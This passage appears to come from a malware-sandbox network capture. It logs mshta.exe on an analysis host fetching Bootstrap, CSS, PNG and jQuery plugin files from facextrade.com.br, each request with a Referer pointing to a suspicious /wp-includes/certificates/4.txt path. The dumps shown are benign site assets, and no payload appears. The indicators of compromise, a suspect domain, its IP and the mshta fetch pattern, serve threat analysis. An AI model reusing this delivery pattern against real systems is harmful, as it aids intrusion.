6f 6f 74 73 74 72 61 70 2d 74 6f 6f 6c 74 69 70 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 70 6f 70 6f 76 65 72 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 66 66 69 78 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 6c 65 72 74 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 62 75 74 74 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 6f 6c 6c 61 70 73 65 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 61 72 6f 75 73 65 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 79 70 65 61 68 65 61 64 2e 6a 73 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 2e 74 78 74 0a 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 73 75 70 70 6f 72 74 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 62 6f 6f 74 73 74 72 61 70 22 29 2c 62 3d 7b 57 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 3a 22 77 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 4d 6f 7a 54 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 4f 54 72 61 6e 73 69 74 69 6f 6e 3a 22 6f 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 20 6f 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 74 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 7d 2c 63 3b 66 6f 72 28 63 20 69 6e 20 62 29 69 66 28 61 2e 73 74 79 6c 65 5b 63 5d 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 20 62 5b 63 5d 7d 28 29 3b 72 65 74 75 72 6e 20 61 26 26 7b 65 6e 64 3a 61 7d 7d 28 29 7d 29 7d 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 2c 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 63 2c 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 3d 61 28 62 29 2e 64 65 6c 65 67 61 74 65 28 27 5b 64 61 74 61 2d 64 69 73 6d 69 73 73 3d 22 6d 6f 64 61 6c 22 5d 27 2c 22 63 6c 69 63 6b 2e 64 69 73 6d 69 73 73 2e 6d 6f 64 61 6c 22 2c 61 2e 70 72 6f 78 79 28 74 68 69 73 2e 68 69 64 65 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 74 65 26 26 74 68 69 73 2e 24 65 6c 65 6d 65 Data Ascii: /*** Bootstrap.js by @fat & @mdo* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js* Copyright 2012 Twitter, Inc.* http://www.apache.org/licenses/LICENSE-2.0.txt*/!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$eleme
Aug 16, 2022 11:49:57.865345955 CEST	1184	OUT	GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:58.104649067 CEST	1209	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:00 GMT Server: Apache ETag: "a508ae-2af-5c93d38583b98" Last-Modified: Tue, 10 Aug 2021 23:54:19 GMT Content-Length: 687 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836430 21588057 Age: 298 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 00 02 35 49 44 41 54 78 da a4 93 4b 48 54 61 18 86 9f ff 9c a3 73 9c 71 9c 46 87 69 6c 2a 24 45 85 49 a6 8c 88 dc b6 69 53 64 b4 ef b2 aa 2c a4 65 50 46 3b 77 81 8b 16 ad 82 68 57 b6 8a 88 10 91 86 26 cc 10 25 1a ac c6 b2 1a e7 e2 05 cd b9 9c cb 9c f3 b7 11 b5 cb 46 fc 36 df e2 fd 78 78 f9 78 5f 21 a5 64 27 23 80 5a a0 7e 7d 6f 67 2c a0 a8 01 81 b3 cf ee 14 fe 56 25 60 3a 0a 20 f0 28 0e 42 fc 4b 18 ee bd 1b d6 00 9f e3 3a c4 c3 ad 1b 82 2d 15 14 24 c7 23 cb 28 42 f2 26 d7 44 d5 15 d4 2a ee c6 cd 54 21 0d e0 d3 00 d5 76 1d d6 ac 32 8b 95 22 86 a3 d2 16 58 e3 cc be 3c 4d a6 00 09 91 e8 67 86 7f ee 26 b5 e4 a7 4e 73 68 aa ab c7 76 1d 00 55 03 30 6d 8b 42 b9 42 d1 2a d1 db 92 e5 74 74 89 a1 c7 3d 8c be db 03 55 49 77 57 96 9b 17 93 bc 6a 08 f2 24 dd 8c 23 55 4c db 02 40 03 28 1b 26 91 70 8e f3 b1 0f 74 45 f2 bc 48 9e 62 b6 12 e7 58 0f e4 97 4a 8c bc df 4f d0 3b cf ed fe 31 ba 77 7d e7 61 fa 20 b3 0b 5b 00 2d 9e 45 06 e2 53 34 e8 05 b0 55 ee 3f 2a 32 3a 91 c2 1f 74 69 8e 7a d9 db 11 e0 47 29 4c 75 25 43 67 e8 1b 03 fe 39 ae 2d c4 49 02 0a c0 64 41 e5 72 22 c6 e4 7c 23 e8 15 0e 75 64 70 ab 1e 4a e5 2a 5f 66 7e 31 fa 7c 85 c3 07 f2 68 81 32 1f 73 01 fa 12 31 92 59 6d d3 81 69 18 bc ce 35 90 c8 1e e1 6a ec 2b 57 ce bd 65 7a 26 c4 cb 64 1b a8 0a 27 8e 7e e2 64 f7 53 86 26 da b9 37 dd 8a 8d 8f 5a 63 75 13 60 19 06 5e c5 4b b9 2a 18 9c 6c 67 64 3e c4 8d fe 31 6e 5d 48 80 14 ac 06 2d ae a7 62 24 32 21 7c 35 55 7c 9a 4d d9 30 b6 38 b0 2c 74 24 ba a6 a2 6b 92 d4 72 88 be f1 46 2e 75 ce e1 a9 71 79 30 de 42 c5 56 09 d5 39 80 8a 8b c4 b4 36 9f 68 49 c7 65 25 9d fd 23 65 15 60 70 46 07 40 57 73 08 21 31 ff 13 67 01 04 80 28 e0 df 66 17 d6 80 8c 00 d4 f5 22 a9 db 04 38 80 25 76 5a e7 df 03 00 ff a6 e7 ee 3e 29 e0 82 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRapHYs cHRMz%u0`:o_F5IDATxKHTasqFil$EIiSd,ePF;whW&%F6xxx_!d'#Z~}og,V%`: (BK:-$#(B&DT!v2"X<Mg&NshvU0mBBtt=UIwWj$#UL@(&ptEHbXJO;1w}a [-ES4U?2:tizG)Lu%Cg9-IdAr"\|#udpJ_f~1\|h2s1Ymi5j+Wez&d'~dS&7Zcu`^Klgd>1n]H-b$2!\|5U\|M08,t$krF.uqy0BV96hIe%#e`pF@Ws!1g(f"8%vZ>)IENDB`
Aug 16, 2022 11:50:00.492923975 CEST	1210	OUT	GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:00.730036974 CEST	1211	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:58 GMT Server: Apache ETag: "a53047-101d2-58592d3578140" Last-Modified: Tue, 02 Apr 2019 21:29:01 GMT Content-Length: 66002 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836449 21588047 Age: 302 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 62 6f 64 79 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 7d 0a 2e 69 65 38 20 62 6f 64 79 20 7b 20 6d 69 6e 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 20 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 68 65 61 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 7d 0a 7d 0a 62 6f 64 79 5b 63 6c 61 73 73 2a 3d 22 73 70 61 6e 22 5d 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 3b 0a 09 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 61 20 7b 20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 61 3a 66 6f 63 75 73 20 7b 20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 31 3b 0a 7d 0a 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 0a 09 77 69 64 74 68 3a 61 75 74 6f 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 61 66 61 66 61 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 31 32 31 30 70 78 3b 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 37 36 34 70 78 3b 20 7d 0a 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 39 39 3b 0a 09 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 0a 7d 0a 2e 6c 6f 67 6f 20 7b Data Ascii: body { position:relative; }.ie8 body { min-width:980px; }@media (max-width: 767px) {body.cherry-fixed-layout {padding-left:0 !important;padding-right:0 !important;}}@media (max-width: 767px) {body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {padding-left:20px;padding-right:20px;}}body[class*="span"] {position:static;float:none;min-height:inherit;margin-left:inherit;}a { outline:none; }a:focus { outline:none; }.main-holder {position:relative;z-index:1;}.cherry-fixed-layout .main-holder {margin:0 auto;max-width:980px;width:auto;background:#fafafa;}@media (min-width: 1200px) {.cherry-fixed-layout .main-holder { max-width:1210px; }}@media (min-width: 768px) and (max-width: 979px) {.cherry-fixed-layout .main-holder { max-width:764px; }}.header {position:relative;z-index:99;padding:30px 0;border-bottom:1px solid #DDD;background-color:#eee;}.logo {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.22	49204	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:50:10.187968016 CEST	1420	OUT	GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:10.402793884 CEST	1422	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:32 GMT Server: Apache ETag: "a4f8bb-3b2-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 946 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588284 21188714 Age: 158 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 20 6a 71 75 65 72 79 2e 73 69 6d 70 6c 72 2e 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 76 65 72 73 69 6f 6e 20 31 2e 30 20 63 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 73 69 6d 6f 76 2f 73 69 6d 70 6c 72 2d 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 2a 2f 0a 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0a 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 2e 74 61 62 6c 65 74 28 29 29 7b 0a 20 20 20 20 20 20 20 20 24 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 65 70 3a 31 35 30 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 70 65 65 64 3a 38 30 30 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 0a 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 70 6c 61 74 66 6f 72 6d 20 3d 20 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 70 6c 61 74 66 6f 72 6d 3b 20 69 66 20 28 28 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 49 6e 74 65 6c 27 20 7c 7c 20 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 50 50 43 27 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 3b 20 76 61 72 20 6e 3d 65 2e 65 78 74 65 6e 64 28 7b 73 74 65 70 3a 31 37 30 2c 73 70 65 65 64 3a 31 30 30 30 2c 65 61 73 65 3a 22 73 77 69 6e 67 22 7d 2c 74 7c 7c 7b 7d 29 3b 76 61 72 20 72 3d 65 28 77 69 6e 64 6f 77 29 2c 69 3d 65 28 64 6f 63 75 6d 65 6e 74 29 2c 73 3d 30 2c 6f 3d 6e 2e 73 74 65 70 2c 75 3d 6e 2e 73 70 65 65 64 2c 61 3d 72 2e 68 65 69 67 68 74 28 29 2c 66 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 41 70 70 6c 65 57 65 62 4b 69 74 22 29 21 3d 3d 2d 31 3f 65 28 22 62 6f 64 79 22 29 3a 65 28 22 68 74 6d 6c 22 29 2c 6c 3d 66 61 6c 73 65 3b 65 28 22 62 6f 64 79 22 29 2e 6d 6f 75 73 65 77 68 65 65 6c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6c 3d 74 72 75 65 3b 69 66 28 74 3c 30 29 73 3d 73 2b 61 3e 3d 69 2e 68 65 69 67 68 74 28 29 3f 73 3a 73 2b 3d 6f 3b 65 6c 73 65 20 73 3d 73 3c 3d 30 3f 30 3a 73 2d 3d 6f 3b 66 2e 73 74 6f 70 28 29 2e 61 6e 69 6d 61 74 65 28 7b 73 63 72 6f 6c 6c 54 6f 70 3a 73 7d 2c 75 2c 6e 2e 65 61 73 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 3d 66 61 6c 73 65 7d 29 3b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 29 3b 72 2e 6f 6e 28 22 72 65 73 69 7a 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 3d 72 2e 68 65 69 67 68 74 28 29 7d 29 2e 6f 6e 28 22 73 63 72 6f 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 6c 29 73 3d 72 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 7d 29 7d 7d 29 28 6a 51 75 65 72 79 29 3b 0a Data Ascii: /* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */jQuery(document).ready(function($) { if(!device.mobile() && !device.tablet()){ $.srSmoothscroll({ step:150, speed:800 }); }});;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' \|\| platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t\|\|{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);
Aug 16, 2022 11:50:10.405378103 CEST	1423	OUT	GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:10.618593931 CEST	1438	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:08 GMT Server: Apache ETag: "a50db1-cf-5c93d3867844d" Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT Content-Length: 207 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588286 20383420 Age: 302 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 13 08 06 00 00 00 a9 eb 9c ee 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 27 49 44 41 54 28 91 63 7c f7 ee dd 7f 06 22 00 0b 23 23 23 31 ea 86 84 42 26 a2 54 d1 c4 ea 51 85 d4 51 48 fd 28 04 00 35 2f 04 3f b8 1b 51 2d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dpHYs~tEXtCreation Time01/09/10tEXtSoftwareAdobe Fireworks CS4'IDAT(c\|"###1B&TQQH(5/?Q-IENDB`
Aug 16, 2022 11:50:10.619879961 CEST	1438	OUT	GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:10.842837095 CEST	1467	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:08 GMT Server: Apache ETag: "a50de3-d0-5c93d38684b39" Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT Content-Length: 208 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588288 20383422 Age: 302 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 05 00 00 00 03 08 06 00 00 00 5b 36 c5 f8 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 28 49 44 41 54 08 99 5d c8 c1 0d 00 30 0c 83 40 a7 13 b3 89 47 a6 af 48 55 79 9d 98 b6 e6 eb 00 f3 0e 60 a2 46 4d 5b d7 17 94 fd 13 f2 5b d4 0b 67 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR[6sBIT\|dpHYs~tEXtSoftwareAdobe Fireworks CS4tEXtCreation Time01/09/10(IDAT]0@GHUy`FM[[gIENDB`
Aug 16, 2022 11:50:10.844166040 CEST	1468	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:11.062994957 CEST	1526	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:25 GMT Server: Apache ETag: "a4fac1-5486-58592f81e2d80" Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT Content-Length: 21638 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588290 22395343 Age: 226 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 6a 51 75 65 72 79 20 46 6c 65 78 53 6c 69 64 65 72 20 76 32 2e 32 2e 32 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 57 6f 6f 54 68 65 6d 65 73 0a 20 2a 20 43 6f 6e 74 72 69 62 75 74 69 6e 67 20 41 75 74 68 6f 72 3a 20 54 79 6c 65 72 20 53 6d 69 74 68 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6c 65 78 73 6c 69 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 61 28 62 29 3b 64 2e 76 61 72 73 3d 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 61 2e 66 6c 65 78 73 6c 69 64 65 72 2e 64 65 66 61 75 6c 74 73 2c 63 29 3b 76 61 72 20 6a 2c 65 3d 64 2e 76 61 72 73 2e 6e 61 6d 65 73 70 61 63 65 2c 66 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 26 26 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 6d 73 50 6f 69 6e 74 65 72 45 6e 61 62 6c 65 64 26 26 77 69 6e 64 6f 77 2e 4d 53 47 65 73 74 75 72 65 2c 67 3d 28 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 77 69 6e 64 6f 77 7c 7c 66 7c 7c 77 69 6e 64 6f 77 2e 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 26 26 64 6f 63 75 6d 65 6e 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 29 26 26 64 2e 76 61 72 73 2e 74 6f 75 63 68 2c 68 3d 22 63 6c 69 63 6b 20 74 6f 75 63 68 65 6e 64 20 4d 53 50 6f 69 6e 74 65 72 55 70 22 2c 69 3d 22 22 2c 6b 3d 22 76 65 72 74 69 63 61 6c 22 3d 3d 